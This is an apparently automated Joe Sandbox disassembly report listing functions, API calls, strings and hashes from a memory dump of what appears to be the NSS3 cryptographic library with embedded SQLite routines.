Part of subcall function 6C73C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C73DAE2,?), ref: 6C73C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C73F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C73F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C73F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C73F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C80218C), ref: 6C73F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C73F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C73F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C73F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C73F210

Part of subcall function 6C6E52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C73F1E9,?,00000000,?,?), ref: 6C6E52F5
Part of subcall function 6C6E52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C6E530F
Part of subcall function 6C6E52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C6E5326
Part of subcall function 6C6E52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C73F1E9,?,00000000,?,?), ref: 6C6E5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C73F227

Part of subcall function 6C72FAB0: free.MOZGLUE(?,-00000001,?,?,6C6CF673,00000000,00000000), ref: 6C72FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C73F23E

Part of subcall function 6C72BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C6DE708,00000000,00000000,00000004,00000000), ref: 6C72BE6A
Part of subcall function 6C72BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6E04DC,?), ref: 6C72BE7E
Part of subcall function 6C72BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C72BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C73F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C73F3A8

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C73F3B3

Part of subcall function 6C6E2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C6E2D3C
Part of subcall function 6C6E2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C6E2D5F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 29809b6986651912824f06c956f541d50102e8b60cf14151cb927a0e188443f8
Instruction ID: b810ff33c1a16a09ecd0266b4abb89c9dda12a9feca480d6c7c92bdfc39a9ab3
Opcode Fuzzy Hash: 29809b6986651912824f06c956f541d50102e8b60cf14151cb927a0e188443f8
Instruction Fuzzy Hash: B4D1B1B6E012259FDB14CFA9DA80A9EB7F5FF48348F148079D919AB712E731E805CB50

Function 6C76DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C747FFA,00000000,?,6C7723B9,00000002,00000000,?,6C747FFA,00000002), ref: 6C76DE33

Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990AB
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990C9
Part of subcall function 6C799090: EnterCriticalSection.KERNEL32 ref: 6C7990E5
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799116
Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C79913F

Part of subcall function 6C76D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C76DE74,6C747FFA,00000002,?,?,?,?,?,00000000,6C747FFA,00000000,?,6C7723B9,00000002), ref: 6C76D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C747FFA,00000000,?,6C7723B9,00000002,00000000,?,6C747FFA,00000002), ref: 6C76DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C76DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C76E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C76E121
PK11_FreeSymKey.NSS3(?), ref: 6C76E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C76E195
PR_GetCurrentThread.NSS3 ref: 6C76E1FC

Part of subcall function 6C762460: PR_SetError.NSS3(FFFFE005,00000000,6C807379,00000002,?), ref: 6C762493

Strings

application data, xrefs: 6C76DFE0
key, xrefs: 6C76E046
handshake data, xrefs: 6C76DFF7
early application data, xrefs: 6C76DFC9

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 012e31808cbc2872c6693359049785208568b8da3f8857b3affe04265606777e
Instruction ID: 122b0de42d979c711b92b222d68b78c79b4ff6353e603284f19db39efa6790f5
Opcode Fuzzy Hash: 012e31808cbc2872c6693359049785208568b8da3f8857b3affe04265606777e
Instruction Fuzzy Hash: 4BC1E371A002099BDB14CF66CE84BEAB7B5FF19318F144138ED199BE51E331E954CBA1

Function 6C65ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C65ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C65EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C65EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C65EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C65F483
database corruption, xrefs: 6C65F48D
%s at line %d of [%.10s], xrefs: 6C65F492

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: ffb52e9831d6c7ce6d9135f479339daa6b9241fcac0eaca94cfd11bc1d0cb608
Instruction ID: ec5954e0b0e1a2ffd15d0968ccb1e3cbec14496ff6af111c800dc1b00ba2a5ec
Opcode Fuzzy Hash: ffb52e9831d6c7ce6d9135f479339daa6b9241fcac0eaca94cfd11bc1d0cb608
Instruction Fuzzy Hash: C1624470A042058FEB14CF64C480B9ABBF1BF49318FB8419CD8455BB92C735E896CBDA

Function 6C6FFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C6FFD06

Part of subcall function 6C6FF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C6FF696
Part of subcall function 6C6FF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C6FF789
Part of subcall function 6C6FF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C6FF796
Part of subcall function 6C6FF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C6FF79F
Part of subcall function 6C6FF670: SECITEM_DupItem_Util.NSS3 ref: 6C6FF7F0

Part of subcall function 6C723440: PK11_GetAllTokens.NSS3 ref: 6C723481
Part of subcall function 6C723440: PR_SetError.NSS3(00000000,00000000), ref: 6C7234A3
Part of subcall function 6C723440: TlsGetValue.KERNEL32 ref: 6C72352E
Part of subcall function 6C723440: EnterCriticalSection.KERNEL32(?), ref: 6C723542
Part of subcall function 6C723440: PR_Unlock.NSS3(?), ref: 6C72355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C6FFDAD

Part of subcall function 6C72FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C6D9003,?), ref: 6C72FD91
Part of subcall function 6C72FD80: PORT_Alloc_Util.NSS3(A4686C73,?), ref: 6C72FDA2
Part of subcall function 6C72FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C73,?,?), ref: 6C72FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C6FFE00

Part of subcall function 6C72FD80: free.MOZGLUE(00000000,?,?), ref: 6C72FDD1

Part of subcall function 6C71E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C71E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6FFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C6FFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C6FFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C6FFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C6FFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C6FFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C6FFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C700007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C700029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C700044

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 38cf58a702272228daee95f1e378b552ad2e003ca5703879601c2ce01e06876f
Instruction ID: f5ddd7becc4d0bb65380298d4dd6c88fac8d6d548371da5961bd39ab50d74d76
Opcode Fuzzy Hash: 38cf58a702272228daee95f1e378b552ad2e003ca5703879601c2ce01e06876f
Instruction Fuzzy Hash: 76B1E5B1604301AFE704CF29C844A6AF7E6FF88318F548A2DE959C7B41E770E945CB92

Function 6C6F7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C6F7DDC

Part of subcall function 6C7307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6D8298,?,?,?,6C6CFCE5,?), ref: 6C7307BF
Part of subcall function 6C7307B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7307E6
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C73081B
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C730825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6F7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C6F7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C6F7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C6F7F98
PK11_FreeSymKey.NSS3(?), ref: 6C6F7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6F7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C6F8000

Part of subcall function 6C719430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C6F7F0C,?,00000000,00000000,00000000,?), ref: 6C71943B
Part of subcall function 6C719430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C71946B
Part of subcall function 6C719430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C719546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6F8110
PK11_FreeSymKey.NSS3(00000000), ref: 6C6F811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6F822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6F823C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 676f447d11a38a395f94c0e2dfa77a235cd919d82cf8cfe5788ded4c3ec6631a
Instruction ID: 05e41ca31bbb898171742bc9c44bc188f9a511f7a65186c3e1455fcacb7db6f4
Opcode Fuzzy Hash: 676f447d11a38a395f94c0e2dfa77a235cd919d82cf8cfe5788ded4c3ec6631a
Instruction Fuzzy Hash: B9C194B1D002199FEB21CF15CC45FDAB7B9AF1A308F0481E6E81CA6651E7319E86CF94

Function 6C66AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C78CF46,?,6C65CDBD,?,6C78BF31,?,?,?,?,?,?,?), ref: 6C66B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C78CF46,?,6C65CDBD,?,6C78BF31), ref: 6C66B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C78CF46,?,6C65CDBD,?,6C78BF31), ref: 6C66B0A2
CloseHandle.KERNEL32(?,?,6C78CF46,?,6C65CDBD,?,6C78BF31,?,?,?,?,?,?,?,?,?), ref: 6C66B100
sqlite3_free.NSS3(?,?,00000002,?,6C78CF46,?,6C65CDBD,?,6C78BF31,?,?,?,?,?,?,?), ref: 6C66B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C78CF46,?,6C65CDBD,?,6C78BF31), ref: 6C66B12D

Part of subcall function 6C659EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C66C6FD,?,?,?,?,6C6BF965,00000000), ref: 6C659F0E
Part of subcall function 6C659EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6BF965,00000000), ref: 6C659F5D

Strings

`~l, xrefs: 6C66B0DF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `~l
API String ID: 3155957115-1855829107
Opcode ID: 8205792e556e18f521961bf024c2fec3fca3b30af1919516fdd24b0c57be7307
Instruction ID: 0caf9bf5a71c6fa5f8b927f5e547bd9a3f6d9a9b528c63e22938c173da215421
Opcode Fuzzy Hash: 8205792e556e18f521961bf024c2fec3fca3b30af1919516fdd24b0c57be7307
Instruction Fuzzy Hash: 2A91E3B0A00205CFDB14CF66D984AABB7B1FF85308F144A3DE41697E51E735E845CB9A

Function 6C700EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C700F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C700FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C701006
PK11_FreeSymKey.NSS3(?), ref: 6C70101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C701033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C70103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C701048
memcpy.VCRUNTIME140(?,?,?), ref: 6C70108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7010BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7010D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C70112E

Part of subcall function 6C701570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7008C4,?,?), ref: 6C7015B8
Part of subcall function 6C701570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7008C4,?,?), ref: 6C7015C1
Part of subcall function 6C701570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C70162E
Part of subcall function 6C701570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C701637

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 4acfb2f765c35261b8e49abfa1fde3339fd7246e4ffba0953a9fd3f56f95bd8a
Instruction ID: bd06456e4acbaa5ad3c80feb6caf42c34446e2b1068489992a5af4ae4c7ea97f
Opcode Fuzzy Hash: 4acfb2f765c35261b8e49abfa1fde3339fd7246e4ffba0953a9fd3f56f95bd8a
Instruction Fuzzy Hash: 4471EEB1A042058FDB04CFA5DE88A6AB7F0BF4831CF14863DE95997B11E771E944CB80

Function 6C721CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C721F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C722166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C72228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7223B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C72241C

Strings

serial, xrefs: 6C7222A2
model, xrefs: 6C7223CB, 6C7223EC
token, xrefs: 6C721F2C
manufacturer, xrefs: 6C722179

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 7eece378335acd7824ab1f4fead5834017edcb0d010c689f12246c7ac32f0458
Instruction ID: 08575cf7781e8b2620501041dbcef59bffe6f85f346f28da8c0824aec52f8f84
Opcode Fuzzy Hash: 7eece378335acd7824ab1f4fead5834017edcb0d010c689f12246c7ac32f0458
Instruction Fuzzy Hash: 95024062D1C7C86EFB318671C64C7D76AE0AB45338F0D167EC5EE46683C3AD99888352

Function 6C660FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C65CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6BF9C9,?,6C6BF4DA,6C6BF9C9,?,?,6C68369A), ref: 6C65CA7A
Part of subcall function 6C65CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C65CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C66103E
EnterCriticalSection.KERNEL32(?), ref: 6C661139
LeaveCriticalSection.KERNEL32(?), ref: 6C661190
sqlite3_free.NSS3(00000000), ref: 6C661227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C66126E
sqlite3_free.NSS3(?), ref: 6C66127F

Strings

winAccess, xrefs: 6C66129B
P~l, xrefs: 6C66109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C661267

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: P~l$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-2394104580
Opcode ID: f0679aa21495f147ac8010413ee466f030f4708f1eea0629ac6e03eda9c192f1
Instruction ID: 038a39ce6285ee335796ae9c344d16d4734ce06244fb42e98b9da4b42ae1f939
Opcode Fuzzy Hash: f0679aa21495f147ac8010413ee466f030f4708f1eea0629ac6e03eda9c192f1
Instruction Fuzzy Hash: 287157327042009BEB248F76DD99AAA7375FB86319F144639E82587E80DB34D841C7DB

Function 6C726C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6D1C6F,00000000,00000004,?,?), ref: 6C726C3F

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C6D1C6F,00000000,00000004,?,?), ref: 6C726C60
PR_ExplodeTime.NSS3(00000000,6C6D1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C6D1C6F,00000000,00000004,?,?), ref: 6C726C94

Strings

gfff, xrefs: 6C726D9C
gfff, xrefs: 6C726D30
gfff, xrefs: 6C726CF5
gfff, xrefs: 6C726D66
gfff, xrefs: 6C726CFD

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 8aac6429668ef0dcebde1b6b4be65dc1b5914bf5839da15c205c9bcf3a618836
Instruction ID: 7442d09cc27675ca2afe078b942919d302329b41f3ec3bc5e38e404b0b4c78c9
Opcode Fuzzy Hash: 8aac6429668ef0dcebde1b6b4be65dc1b5914bf5839da15c205c9bcf3a618836
Instruction Fuzzy Hash: C9514B72B016494FC718CDADDC527DAB7DAABA4310F48C23AE842DB785D638E906C751

Function 6C7A0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C7A1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7A10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7A1353

Strings

-- , xrefs: 6C7A0FF5
zeroblob(%d), xrefs: 6C7A1223
'%.*q', xrefs: 6C7A1217, 6C7A1292
NULL, xrefs: 6C7A119E
%02x, xrefs: 6C7A12F6
$, xrefs: 6C7A12A0
